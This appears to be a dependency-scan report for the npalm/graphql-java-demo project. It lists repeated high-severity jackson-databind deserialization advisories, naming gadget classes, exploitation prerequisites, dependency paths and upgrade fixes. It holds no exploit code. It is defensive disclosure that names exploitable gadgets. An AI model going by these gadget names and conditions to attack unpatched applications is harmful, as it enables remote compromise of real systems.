Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to gadget org.apache.openjpa.ee.WASRegistryManagedRuntime (aka openjpa).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to gadgets org.apache.activemq.* (aka activemq-jms, activemq-core, activemq-pool, and activemq-pool-jms).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to gadget org.apache.commons.proxy.provider.remoting.RmiProvider (aka apache/commons-proxy).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.jelly.impl.Embedded (aka commons-jelly).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.springframework.aop.config.MethodLocatingFactoryBean (aka spring-aop).

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.5.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It is possible to conduct a Deserialization attack using the com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool (xalan2) class gadget if polymorphic type handling is enabled and an application using this package allows user input which gets deserialized.

Note: This vulnerability does not affect release 2.10.0 onward.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.5 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.5.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
